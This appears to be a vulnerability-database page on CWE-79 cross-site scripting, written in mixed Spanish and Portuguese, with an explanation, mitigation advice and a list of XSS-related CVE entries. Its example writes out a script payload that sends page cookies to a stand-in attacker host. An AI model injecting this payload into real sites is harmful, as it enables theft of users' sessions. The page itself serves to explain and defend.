Fallos del tipo CWE-79

29.276 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2017-20191LOWZimbra zm-admin-ajax Form Textbox Field Error XFormItem.js XFormItem.prototype.setError cross site scriptingEPSS 0.5%CVE-2024-8610MEDIUMSourceCodester Best House Rental Management System New Tenant Page index.php cross site scriptingEPSS 0.5%CVE-2023-7076LOWslawkens MyAAC bugtracker.php cross site scriptingEPSS 0.5%CVE-2023-49976MEDIUMA cross-site scripting (XSS) vulnerability in Customer Support System v1 allows attackers to execute arbitrary web scripts or HTML via a craEPSS 0.5%CVE-2021-44202—Stored cross-site scripting (XSS) was possible in activity detailsEPSS 0.5%CVE-2024-9807MEDIUMCraig Rodway Classroombookings Session Page sessions cross site scriptingEPSS 0.5%CVE-2023-2560LOWjja8 NewBingGoGo cross site scriptingEPSS 0.5%CVE-2021-44200—Self cross-site scripting (XSS) was possible on devices pageEPSS 0.5%CVE-2024-5424MEDIUMGallery Blocks with Lightbox. Image Gallery, (HTML5 video , YouTube, Vimeo) Video Gallery and Lightbox for native gallery <= 3.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via galleryID and className ParametersEPSS 0.5%CVE-2026-3990MEDIUMCesiumGS CesiumJS standalone.html cross site scriptingEPSS 0.5%CVE-2021-44203—Stored cross-site scripting (XSS) was possible in protection plan detailsEPSS 0.5%CVE-2025-47933CRITICALArgo CD allows cross-site scripting on repositories pageEPSS 0.5%CVE-2024-22494MEDIUMA stored XSS vulnerability exists in JFinalcms 5.0.0 via the /gusetbook/save mobile parameter, which allows remote attackers to inject arbitEPSS 0.5%CVE-2024-13227MEDIUMRank Math SEO – AI SEO Tools to Dominate SEO Rankings <= 1.0.235 - Authenticated (Contributor+) Stored Cross-Site Scripting via Rank Math APIEPSS 0.5%CVE-2022-3073MEDIUMQuaonos Schema ST4 example templates prone to XSSEPSS 0.5%CVE-2026-3610MEDIUMHSC Cybersecurity Mailinspector URL mliUserValidation.php cross site scriptingEPSS 0.5%CVE-2026-3982MEDIUMitsourcecode University Management System view_result.php cross site scriptingEPSS 0.5%CVE-2024-1691MEDIUMOtter Blocks PRO <= 2.6.3 - Unauthenticated Stored Cross-Site Scripting via SVG UploadEPSS 0.5%CVE-2026-47631HIGHMicrosoft Exchange Server Spoofing VulnerabilityEPSS 0.5%CVE-2026-47646CRITICALDynamics 365 Customer Voice Spoofing VulnerabilityEPSS 0.5%